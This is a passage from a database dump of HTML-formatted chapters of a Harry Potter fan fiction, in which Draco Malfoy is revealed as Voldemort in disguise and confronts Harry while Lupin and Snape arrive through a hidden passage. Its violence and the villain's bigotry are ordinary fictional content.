class="MsoNormal">Draco straightened up.&nbsp;\n&quot;Get over here,&quot; he ordered Hermione.&nbsp; She obeyed, even going so far as to let him\nslide an arm around her waist.&nbsp; Harry\ncouldn\'t subdue a hot stab of rage.&nbsp;\nIt\'s not her will, he kept telling himself.&nbsp; If she could, she\'d have already shriveled his balls with a\nsingle hex.&nbsp; Draco turned his face into\nHermione\'s hair.&nbsp; &quot;She could be all\nright,&quot; he said.&nbsp; &quot;Once she\'s\ncleaned up, of course.&nbsp; You can\'t ever\nwash all the Muggle off of her, but it could almost be fun to roll in the dirt\nevery now and then.&nbsp; Wouldn\'t you\nagree?&quot;&nbsp; He pulled back.&nbsp; &quot;What am I saying?&nbsp; You already know, don\'t you?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;None of this has anything to do with Hermione. You\ndon\'t find her sexually attractive; you could only ever get off on what\ntouching her would do to me,&quot; Harry replied as evenly as possible.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Are you saying she\'s not desirable?&nbsp; Potter, I\'m shocked.&quot;&nbsp; He chuckled.&nbsp; &quot;Hear that, love?&nbsp; He\nsays you\'re not sexually attractive.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rested her cheek on Draco\'s shoulder.&nbsp; &quot;It only matters what you\nthink.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah, what nice words to hear, even from a knocked-up\nlittle Mudblood.&quot;&nbsp; Harry\'s face\npaled instantly.&nbsp; &quot;I\'ve never liked\nchildren.&nbsp; Even when I was one.&nbsp; But...I somehow got stuck with a brat to\nraise.&nbsp; And Bronson\'s fine.&nbsp; His blood is as pure as it comes.&quot;&nbsp; He delighted in watching Harry\'s reaction\nwhen he knelt in front of Hermione and placed a hand on her lower belly.&nbsp; &quot;But raising Harry Potter\'s\nbastard...the universe couldn\'t have thought up a nicer surprise for me.&nbsp; After all these years...&quot;&nbsp; Draco cleared his throat and stood back\nup.&nbsp; &quot;It\'s too bad you won\'t be\naround to see the child, Potter.&nbsp; I bet\nshe\'ll look just like you.&nbsp; Not that\nI\'ll hold it against her.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Some sort of super human strength pumped through Harry\'s\nbody as Draco spoke about his unborn child.&nbsp;\nHis muscles flexed and he felt something pop.&nbsp; His left arm...it was free of the spell!&nbsp; He kept it still, steeling his expression to\nremain fixed while he worked to break the rest of Draco\'s spell.&nbsp; Keep him talking...buy yourself some time,\nhis brain yelled at him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It looks like you\'ve got everything laid out for you,\nMalfoy.&nbsp; I just have one\nquestion.&quot;&nbsp; Harry paused for\neffect, but in reality, he could feel the invisible chains on his right arm\nloosening.&nbsp; &quot;Why *are* you going to\nso much trouble?&nbsp; Attacking the school\non Halloween, conjuring the Dark Mark, finding your way through the Hogwarts\nbarriers, steering the Governors to rid the school of Muggles...murdering\nRon.&nbsp; What\'s it all for?&nbsp; I can\'t believe that you\'re just going to\nkill me without taking the opportunity to gloat.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco pushed Hermione away; she walked back over to Sirius\nto wait for his next bidding.&nbsp;\n&quot;\'What\'s it all for?\'&nbsp; Come\non, Potter.&nbsp; Don\'t be dense.&nbsp; The goal of any pureblood worth his weight\nshould be to eliminate the Muggle infestation.&nbsp;\nIt certainly hasn\'t been an easy thing.&nbsp;\nBut it\'s always been foremost on my mind.&nbsp; And you should know that...better than anyone else\nalive.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Spoken like a true Voldemort groupie.&quot;&nbsp; Both of his arms were free now, but even\nwith the ability to raise his wand, which Malfoy had neglected to remove from\nhis petrified hand, without the use of his legs, he wouldn\'t get very far in an\nattack.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;As for getting rid of Weasley...&quot; Draco drawled,\nremoving his wand from his robes to finger the length of it.&nbsp; &quot;That was just fun.&nbsp; A little wave of this and it all came tumbling\ndown.&nbsp; One more thorn\nremoved.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s stomach turned.&nbsp;\n&quot;That\'s all he was to you, wasn\'t he?&nbsp; Just a thorn.&nbsp; You spent\nseven years in school with us...through classes and Quidditch and detentions\nand trips to Hogsmeade and graduation...and still, you have no problems\nblighting any one of us out of existence.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;None.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re sick, Malfoy.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco let out the strangest sigh, plunging a hand through\nhis slick, blond hair.&nbsp; &quot;Sick,\nyes.&nbsp; Sick *of* Malfoy.&quot;&nbsp; He shook his head.&nbsp; &quot;If you cared so much about your dearly departed friend, why\ndid you up and disappear ten years ago?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I have nothing to explain to you,&quot; Harry\nreplied.&nbsp; His left foot was free.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Neither do I to you.&nbsp;\nI\'ve done what I...what great wizards have been trying to do for\nyears.&nbsp; Centuries, even.&nbsp; I\'ve made the first steps towards\nPurification.&nbsp; The biggest steps.&nbsp; And after everything I\'ve been put\nthrough...&quot;&nbsp; Draco smiled\ncoldly.&nbsp; &quot;My time has come.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just one leg to go...&nbsp;\nHarry fixed a curious stare onto the other wizard.&nbsp; &quot;Have you ever heard of a Muggle named\nAdolph Hitler?&quot;&nbsp; He continued\nwithout waiting for an answer.&nbsp;\n&quot;All he wanted was a pure race of people.&nbsp; And he did anything, killed anyone and everyone to achieve his\ngoal.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m bored, Potter.&nbsp;\nYour point is...?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He almost succeeded.&nbsp;\nAlmost.&nbsp; But do you know what\nhappened to him in the end?&quot;&nbsp; The\nhold on his right leg lifted; Harry nearly broke into a wide grin.&nbsp; &quot;He died in a ditch.&nbsp; Covered in petrol.&nbsp; On fire.&nbsp;\nGiddy.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At this, Harry shot out of the chair, thrusting his wand out\nin front of him.&nbsp;\n&quot;Conjunctivitis!!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The curse hit Draco directly in his eyes.&nbsp; He screamed and grabbed at his face.&nbsp; His wand clattered to the floor, forgotten\nthrough the blinding pain of Harry\'s spell.&nbsp;\n&quot;Potter....&quot; he roared.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry scooped up the wand and ran as fast as he could to\nSirius and Hermione.&nbsp; After tucking the\nwands loosely into his robes, he grabbed them both by their arms.&nbsp; &quot;We\'re getting out of here\nnow!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius yanked his arm out of Harry\'s grip.&nbsp; Hermione followed suit.&nbsp; &quot;Draco hasn\'t said we can\ngo.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Snap out of it!&quot; Harry yelled.&nbsp; &quot;Fight him...both of you.&nbsp; You\'re strong!&nbsp; I know you can do it.&quot;&nbsp;\nHe grasped Hermione\'s slender shoulders.&nbsp; &quot;Do it, Hermione.&nbsp;\nFor the baby...if not for me.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Across the room, Draco still clawed away at his eyes.&nbsp; Unable to see much of anything, he had\ndropped down to his knees, searching for his wand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched him struggle, a frown on her face.&nbsp; &quot;You hurt his eyes.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It doesn\'t matter!&quot;&nbsp; Harry carefully shook her.&nbsp;\n&quot;Hermione...come on!!&quot;&nbsp;\nThe gentle shaking motion knocked the two wands out of his robes.&nbsp; Licking his lips, Harry released Hermione to\nretrieve them.&nbsp; As he straightened back\nup, he took his first good look at Draco\'s wand.&nbsp; &quot;What the...?&quot;&nbsp;\nHe lifted his stare from the object to look at Draco.&nbsp; &quot;How the bloody fuck did you get\nthis?!&quot;&nbsp; He took a step away from\nHermione and Sirius.&nbsp; &quot;Another part\nof the Malfoy collection, is it?!&nbsp;\nAnswer me!!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On the floor, Draco laughed harder than Harry had ever heard\nhim laugh before.&nbsp; &quot;You still don\'t\nget it, do you?&nbsp; For all your fame and\nall your supposed cleverness...you\'re far stupider than your red-haired friend\never was!&quot;&nbsp; Dragging himself to his\nfeet, Draco continued.&nbsp; His teeth were\nbared, white and sharp.&nbsp; &quot;He\nfigured it out.&nbsp; And he had to be\neliminated.&nbsp; Couldn\'t have him blabbing\nto the world, could I?&nbsp; It wasn\'t time\nyet.&nbsp; But...I think....now it is.&quot;&nbsp; He raised his hand.&nbsp; &quot;Finally...after everything you\'ve done\nto me...I get to kill you.&nbsp; Harry\nPotter.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin sneezed once.&nbsp;\nThen twice.&nbsp; At the onslaught of\nthe third sneeze, Snape turned on him.&nbsp;\n&quot;Why don\'t you just toot a horn and announce \'we\'re coming!\'?&quot;\nhe whispered loudly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why don\'t *you* just concentrate on where we\'re going\nand let me worry about my own allergies?&quot;&nbsp;\nHe sniffed and glanced around the cramped, dusty corridor.&nbsp; &quot;Draco must not know about this\npassage.&nbsp; Doesn\'t seem like anyone\'s\nbeen here in...in...&quot;&nbsp; He pulled up\na corner of his robes to muffle a great sneeze.&nbsp; &quot;Ages,&quot; he finished.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape ignored him.&nbsp;\n&quot;We must be getting closer.&nbsp;\nI don\'t remember walking too long when Lucius took me through...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Shh!&quot;&nbsp;\nLupin held up a hand.&nbsp; &quot;Do\nyou hear that?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two men listened for a long moment.&nbsp; &quot;Voices,&quot; the other man finally\nsaid.&nbsp; &quot;Just up a few\nfeet.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They covered the short distance in no time, and Lupin even\nmanaged to hold back an impending sneeze.&nbsp;\nIt was too imperative that they be silent; even his allergies seemed\naware of that.&nbsp; The muffled conversation\ngrew louder until they reached their goal.&nbsp;\nThe final end of the secret passage, a brick overlay that dissected the\nhall.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;The back of the fireplace,&quot; Snape said&nbsp; &quot;Feel how warm it\'s gotten?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin nodded.&nbsp;\n&quot;How do we open it?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His former schoolmate answered by taping his wand on the\ncenter brick and saying, &quot;Reveal.&quot;&nbsp;\nThe bricks vanished and they were confronted with the massive fire\nburning in the main hall.&nbsp; &quot;Get\ndown.&quot;&nbsp; At Snape\'s order, he and\nLupin flattened themselves to the floor and lowered their heads.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Through the flames, they could see Draco rising to his\nfeet.&nbsp; He was speaking, but through the\ncrackle of the fire and with his back turned to them, they were unable to make\nout his words.&nbsp; Shifting slightly to the\nright, Lupin caught a glimpse of Harry holding two wands, a horrified look on\nhis face.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I can\'t see much,&quot; he whispered.&nbsp; &quot;But Harry doesn\'t appear to be\nhurt.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Quiet.&quot;&nbsp;\nSnape flicked his wand, muttering a quick spell.&nbsp; Within seconds, the volume of the\nconversation taking place in the room had magnified ten-fold.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do you understand now why I\'ve gone to so much\ntrouble, as you put it?&nbsp; Actually, it\'s\nreally not far more than anything I\'ve done in the past.&nbsp; Only this time...I will succeed.&nbsp; You will not steal revenge or power or glory\nfrom me again!!&quot; Draco cried.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head back and forth.&nbsp; &quot;It\'s not...not possible.&quot;&nbsp; His hand raised to cover his forehead; there\nwas pain written on his face.&nbsp; &quot;You\ncan\'t be...I...I killed him.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Keep the wand, Harry.&nbsp;\nIt\'s not important to me anymore.&nbsp;\nAnd it belongs with yours, anyway.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Stop!&nbsp; Stop\ntalking like you\'re...&quot;&nbsp; The\nBoy-Who-Lived pointed his wand at his adversary, his eyes burning red.&nbsp; &quot;You\'re not him!!!&nbsp; You\'re just Draco Malfoy.&nbsp; Nothing less and certainly nothing\nmore!!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The blond wizard held out his hands, displaying to the\nfullest his black-marked robes.&nbsp;\n&quot;My past, my present...&quot;&nbsp;\nHe threw his head back.&nbsp;\n&quot;And my future.&nbsp; Make no\nmistake, Harry Potter.&nbsp; I am\nVoldemort.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Be Continued</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">PS:&nbsp; The bit about\nHitler was greatly influenced by Eddie Izzard, another genius English\nentertainer.</p>\n\n\n\n\n\n\n'),
	(93, 22, '\n\n\n\n<p class="MsoNormal">Disclaimer: I am a writer of fan fiction. I possess nothing\nbut an active imagination. <br>\n<br>\nAuthor\'s Notes: Thank you to everyone who takes the time to read and understand\nthis story. And thanks to everyone with enough intelligence to see the humor in\nEddie Izzard\'s history lesson sketches. To anyone who didn\'t get it, as the\nEnglish would say, bugger off. For those of us who think freely, it\'s okay to\nmake fun of psychotic killers. All SNL did last season was make fun of Osama\nbin Laden and they won an Emmy. I apologize to anyone who doesn\'t know why I\'m\ngoing on about mass murderers. Enjoy the story!! Sorry it\'s a short chapter; a\nlonger one will follow soon.<br>\n<br>\n****<br>\n<br>\nAn Organ of Fire<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Hagrid!&quot; <br>\n<br>\nOut of breath from his hasty hike up the stairs, Hagrid burst into little\nHarry\'s bedroom. &quot;What\'s the matter, \'arry?&quot;<br>\n<br>\nHarry and Hermione\'s son was sitting up on his bed, fully clothed and wide\nawake. It had only been an hour since Hagrid had urged him to get some sleep,\nbut the only thing that had come to him when he closed his green eyes had been\ndreams. Nightmares. <br>\n<br>\nHe scrambled out of bed. &quot;Father! He\'s in trouble, Hagrid!&quot; <br>\n<br>\nThe half-giant\'s body formed a shield at the door to his bedroom, preventing\nthe child from running out of it. &quot;Woah! \'old on there, lad. Jus\' where do\nyer think yer goin\'?&quot; <br>\n<br>\n&quot;Father needs my help, Hagrid. We don\'t have any time; we\'ve got to get to\nhim!&quot;<br>\n<br>\nHagrid bent over as much as he could to see the boy better. His aged face was\nsympathetic. &quot;I know yer want ter help yer Mum \'n Dad, but also know yer\nhaft ter stay here.&quot; <br>\n<br>\nLittle Harry shook his head. &quot;You don\'t understand, Hagrid! Dad told me!!\nMy father is in danger!!&quot; <br>\n<br>\nThe sympathy on Hagrid\'s features morphed into worry. &quot;Whatev\'r it is, yer\nparents kin handle it. But only if they know yer here and yer safe.&quot;<br>\n<br>\n&quot;But Hagrid...&quot;<br>\n<br>\n&quot;\'arry.&quot; His voice was gentle, but firm. <br>\n<br>\n&quot;No! I have to help Father!!&quot; With quick movements, little Harry\nattempted to dart around Hagrid\'s girth. <br>\n<br>\nIt pained Hagrid to do it, but reason just wasn\'t working. A very simple spell\nand only a minute later, little Harry was back in his bed and fast asleep. But\nin his head, there were only visions of snakes and sorcerers.<br>\n<br>\n****<br>\n<br>\n&quot;For twenty-eight long years you\'ve thwarted me at every turn. I couldn\'t\nmake a move without you, somehow, being right there with some sort of\ncountermove. You have been the ultimate thorn and I have long dreamed of this\nday.&quot; <br>\n<br>\nHarry took a step back. He still wasn\'t ready to accept what this...person with\nthe face of Draco Malfoy was saying. He knew what had happened on the far edge\nof the Forbidden Forest, that warm spring night, a week before his graduation\nfrom Hogwarts. He had diminished Voldemort to nothing but his robes. <br>\n<br>\nHadn\'t he? <br>\n<br>\nThinking back now, his mistakes washed over him. He hadn\'t checked the robes\nout, hadn\'t even taken the time to notice if his enemy\'s wand had disintegrated\nalong with him. But he had been so out of it. Bloody and worn down; he could\nremember Hermione and Ron dragging him back to the castle. Madam Pomfrey had\ntold him later that it had taken all her medical know-how to get him to wake up\nat all. Cursing Voldemort into oblivion had drained him almost completely. <br>\n<br>\nBut now it seemed as though that sacrifice might have been nothing at all. <br>\n<br>\n&quot;How?&quot; Harry cut off his adversary\'s diatribe with the biting\nquestion. &quot;If you\'re...him...how? And where...what happened to Malfoy? Is\nhe locked up somewhere...providing hairs for your Polyjuice Potion? Or do you\nexist within him like with Professor Quirrell?&quot; <br>\n<br>\n&quot;Don\'t rush me, Potter. This is a moment I deserve to cherish.&quot; <br>\n<br>\n&quot;You don\'t expect me to just believe you because you say you\'re Voldemort,\ndo you? Without any proof?&quot; Harry sucked in a breath. &quot;There were\nfour people in those woods that night and only three of us walked away.&quot; <br>\n<br>\nWhatever was within Draco shook his head. &quot;No, Potter, no. There weren\'t\nfour people in the woods that night. There were five. You, the Mudblood,\nWeasley, myself...&quot; He smiled. &quot;And Draco Malfoy.&quot; <br>\n<br>\n&quot;What?&quot;<br>\n<br>\n&quot;He wanted to watch you die. So I let him hide in the bushes; what could\nit hurt? He was ready to receive the Mark. Acted as if the whole thing were\nsome sort of coming of age ceremony. I\'ve never lacked for followers, Potter,\nbut the Malfoys have always been the most loyal. Whatever I need, they\'ve been\nmore than willing to provide.&quot; The blond man wiped at his eyes; Harry\'s\nearlier curse was now just a lingering annoyance. &quot;When you hit me with\nthat final curse, you did succeed in obliterating my body. But just like when\nyou were a baby, you couldn\'t kill my essence.&quot; <br>\n<br>\nHarry swallowed; his throat stuck with the effort. &quot;So you...&quot;<br>\n<br>\n&quot;Called on my closest follower. I don\'t even think it was a hard decision\nfor him to make.&quot; <br>\n<br>\n&quot;Draco...he...oh god...&quot;<br>\n<br>\nVoldemort, as Harry had come to think of him in those short minutes, folded his\narms over his chest &quot;Draco Malfoy has been dead for eleven years. I have\nlived his life. Raised the child he foolishly created. Married the simpering\nwitch who let him up her robes....and subsequently got rid of her just as Draco\nhimself would have eventually done once she outgrew her youth. And the only\nclose calls I\'ve ever had in all this time as him have been with his own\nfather....and when a certain red-haired Auror started poking his bloody nose\nwhere it didn\'t belong.&quot; <br>\n<br>\n&quot;You killed them both, then.&quot; Harry put a hand to his stomach.\n&quot;And now that I know...you\'ll kill me, too. Just like them.&quot;<br>\n<br>\n&quot;Harry, Harry, Harry. You know you\'re the one I want to kill the\nmost.&quot; <br>\n<br>\nThere was the solidity of a wall behind him; Harry grabbed for it to steady his\nknees. It was too much information to take in at once. Draco was dead;\nVoldemort had been masquerading as him...as far back as their Hogwarts\ngraduation. With his own death, Draco had done more damage than he ever could\nhave if he had lived. And it was then that Harry realized something even more\nfrightening. <br>\n<br>\nHe should have known all along. <br>\n<br>\nThe amount of power &quot;Draco&quot; supposedly had. The vicious nature of the\nattacks, both physical and verbal. The pain from his scar. He had ignored his\nfirst instincts and allowed himself to be coerced into believing the same thing\neveryone else believed. The thing that Arthur Weasley had spoken about only\nweeks earlier. Harry Potter had fallen into the trap he himself had created. <br>\n<br>\nThe giant task in front of him now was getting out of it. <br>\n<br>\nHarry glanced back at Hermione and Sirius. They hadn\'t shown any visible signs\nof reaction to any of the startling revelations. Whatever Draco had done to\nthem was insanely powerful magic. &quot;Hermione...&quot; he said softly.\n&quot;I need your help.&quot;<br>\n<br>\n&quot;She\'s not yours anymore,&quot; Voldemort taunted him. &quot;She didn\'t do\nit willingly like Draco, but her existence belongs to me now. I control\nher.&quot; As if to prove this, called to her. &quot;Hermione, get my wand back\nfrom him.&quot; <br>\n<br>\nQuick as she could, Hermione grabbed Harry\'s arm in a tight grip and plucked\nVoldemort\'s wand from his hand. &quot;Thank you,&quot; she told him before\nstarting back over to the other wizard\'s side. <br>\n<br>\nVoldemort accepted the wand and pulled her onto his lap. &quot;Sometimes, I get\nthese urges, Potter. I suppose it could be some of Draco lingering around in\nhere, but there are times when I just really want...&quot; His fingers came to\nrest on Hermione\'s stocking-clad knee. &quot;Well...you know.&quot; <br>\n<br>\n&quot;She\'ll never let you.&quot; Harry shook his head. &quot;Spell or not,\nHermione is her own person. Sirius, too.&quot; <br>\n<br>\n&quot;Oh, really?&quot; The Dark Lord snorted. &quot;Sirius Black. Bloody your\ngodson up a little for me, will you?&quot; <br>\n<br>\nHarry had no time to react before the first punch caught him in the jaw. <br>\n<br>\n****<br>\n<br>\n&quot;Fuck.&quot; Lupin sat back on his heels against the corridor wall,\ncareful to keep his head down and hidden behind the fire. &quot;Fuck. Fuck.\nFuck. Fu...&quot;<br>\n<br>\n&quot;Stop,&quot; Snape ordered him. &quot;You\'re not doing anything but\nwasting breath.&quot; He looked back into the hall. Sirius had Harry up against\nthe wall, his fist making repeated contact with the younger man\'s stomach. <br>\n<br>\n&quot;Voldemort is still, technically, alive, and you\'re not panicking?&quot; <br>\n<br>\nThe dark-haired man gave him a look. &quot;I\'ve suspected this for some time.\nBut I had no proof. And no one would have believed vague suspicions.&quot; <br>\n<br>\nLupin winced; he could hear cartilage breaking even through the sounds of the\nfireplace. &quot;We\'ve got to get in there and help Harry, Severus.&quot; <br>\n<br>\n&quot;I realize this.&quot; Snape pulled the beaker of potion he had concocted\nearlier out of his robes.<br>\n<br>\n&quot;Are you ready to tell me what that stuff is?&quot; <br>\n<br>\n&quot;It\'s a counter-potion,&quot; the man explained. &quot;When we first found\nout about Black and the governors\' decree, I started thinking about possible\nexplanations. Whatever signed the paper had to be Black; the handwriting was\nhis. It was a long time before I remembered something from my...&quot; He\nhesitated. &quot;...my darker days.&quot; <br>\n<br>\nLupin staved off a sneeze. &quot;And that was...?&quot;<br>\n<br>\n&quot;In the days before...Lily and James were killed, Voldemort was working on\na new potion. The Imperius Curse was too difficult to maintain on so many\npeople. He needed something lasting. Something that could completely alter a\npersonality, but not require any maintenance. What he came up with...&quot;\nSnape indicated the main hall. &quot;...you can see out there.&quot; <br>\n<br>\n&quot;If that\'s true, why didn\'t you tell Dumbledore years ago?&quot; <br>\n<br>\nSnape lifted his shoulders. &quot;Lingering shame? At first, after I realized\nwhat had gotten into Black, I just thought Draco must have heard of the potion\nfrom his father and worked it himself. He was actually very good at potions\nwhen he applied himself. But within the past few days...&quot;<br>\n<br>\n&quot;All right, I get it. Since you\'re so much smarter than the rest of us,\nSeverus, what\'s our next move?&quot; <br>\n<br>\nHis eyes narrowed, Snape swirled the thick mixture around in the beaker.\n&quot;We have to get a good amount of this down Hermione and Black. It should\nreturn them to their normal selves.&quot; <br>\n<br>\n&quot;How do you suggest we do that?&quot; <br>\n<br>\nSnape blinked. &quot;I have no idea.&quot;<br>\n<br>\n****<br>\n<br>\nHermione watched Sirius\' foot slam into Harry\'s ribs with dead eyes. She turned\nher head from the sight only when she was addressed. The voice she had come to\nrecognize before anyone else\'s issued a command. She stood up from his lap and\nwalked over to the other wizard\'s crumpled body. <br>\n<br>\nThrough the pain, Harry felt soft hands running through his tangled hair. He\nblinked to clear away the blurriness and looked up into the face he knew so\nwell. &quot;Hermione...&quot;<br>\n<br>\n&quot;Shh.&quot; She stroked his face, wiping away the blood that seeped from\nhis nose. &quot;Don\'t try to talk, Harry. I\'m here. I\'m always here for\nyou.&quot; <br>\n<br>\n&quot;Hermione,&quot; he repeated, closing his eyes. His glasses were cracked\ndown both lenses. &quot;I\'m so sorry...for all of this.&quot; One hand clutched\nat his ribs; one of them was obviously broken as drawing in breath was becoming\nagony. &quot;But please....please fight him. Don\'t let him...win.&quot; <br>\n<br>\nShe kissed his forehead. Her lips were so soft against his hot skin.\n&quot;Harry, he\'s already won.&quot; <br>\n<br>\n&quot;No...no, I won\'t...believe that.&quot; <br>\n<br>\n&quot;Don\'t worry...&quot; Hermione reached for his hand, kissing his bruised\nand broken knuckles before pressing it to her belly. &quot;He\'ll be a good\nfather to our baby.&quot; <br>\n<br>\nWith a sudden burst of energy, Harry pushed her away and scrambled to his feet.\n&quot;You\'re not my Hermione!!&quot; he shouted. <br>\n<br>\nHer lower lip trembled. &quot;Harry...&quot; <br>\n<br>\nHe shook his head, his hands clamped to his ears. &quot;No! Quit screwing with\nmy mind!!&quot; Harry pointed at Voldemort. &quot;You. You can do anything you\nlike to me, Voldemort, but you should have left her alone!&quot; <br>\n<br>\n&quot;This is growing tiresome, Harry.&quot; Voldemort stood up, stretching\nDraco\'s limbs. &quot;You know I could have killed you by now, don\'t you?&quot; <br>\n<br>\n&quot;You\'ve tried twice,&quot; Harry replied, spitting blood onto the floor.\n&quot;And both times failed.&quot; <br>\n<br>\nThe Dark Lord considered this. &quot;Where is your mother now, Harry? Do you\nthink your pretty little Mudblood will jump in again this time to defend you?\nYou\'re all alone against me. And all alone...you\'ll die.&quot; <br>\n<br>\nHis wand lay on the floor at Sirius\' feet. It was within his reach and his\ngodfather wouldn\'t move to stop him without an order from Voldemort which would\ntake a second to communicate. Harry looked back at Voldemort. &quot;I\'ve been\nalone before, Voldemort.&quot; He made his move, ignoring the burning pain in\nhis ribs. Without giving his enemy a moment to respond, Harry retrieved his\nwand and pointed it at Draco\'s body. &quot;I can take you.&quot; <br>\n<br>\n&quot;That\'s admirable, Harry.&quot; The sound of Lupin\'s voice made both\nwizards whip their stares to the fireplace. Utilizing a flame-freezing charm,\nhis father\'s best friend stepped out of the hearth, his wand drawn and ready.\nSnape followed right behind him before letting the flames return to their\noriginal state. &quot;But you\'re not going to have to do this one on your\nown.&quot; <br>\n<br>\nVoldemort smiled Draco\'s sinister grin. &quot;Delightful. More thorns to pluck\naway. An old foe...&quot; He glared at Lupin. &quot;...and an even older\nfriend.&quot; To Snape, he nodded. &quot;Thank you for joining us, gentlemen.\nWhich one of you would like to die first?&quot; <br>\n<br>\n&quot;Well, if it\'s between me and him...&quot; Snape pushed Lupin out ahead of\nhimself. &quot;Take him, Master.&quot; <br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 23, '\n\n\n\n<p class="MsoNormal">Disclaimer: Thank goodness I don\'t own these characters or\nelse all those Ron/Hermione people out there would be mighty disappointed. Of\ncourse...then I\'d have money...hmm. Sigh. Money would be nice. <br>\n<br>\nAuthor\'s Notes: I have nothing really important to say, so we\'ll get onto the\nstory which is why you\'re presumably here in the first place;) Have a good\nread...I hope.<br>\n<br>\n****<br>\n<br>\nAn Organ of Fire<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Hufflepuffs are hard-working and good at Herbology, so they grow the\nweed. The Ravenclaws are really smart, so they refine the weed. The Slytherins\nare kind of shady, so they push the weed. Why do you think the Gryffindors are\nso brave? It\'s \'cause they\'re smoking the weed!!&quot; -my little brother\nClifton breaks down the Houses and the side of Hogwarts we were never meant to\nsee <br>\n<br>\n****<br>\n<br>\n&quot;Severus. You...you dirty traitor.&quot; Lupin spit the words out as\nthough they tasted bad in his mouth. &quot;Bloodless coward! How can\nyou...&quot;<br>\n<br>\nSnape raised his wand to his old schoolmate. &quot;Shut up.&quot; He turned\nback to Voldemort. &quot;I await your bidding, Master. Ever your servant.&quot;\n<br>\n<br>\n&quot;Well, this is certainly an unexpected turn in events,&quot; Voldemort\nsaid, raising a blond eyebrow. &quot;Severus Snape...trying to crawl back into\nmy good graces after so many years.&quot;<br>\n<br>\n&quot;It was necessary to appear loyal to Dumbledore, my Lord, to maintain 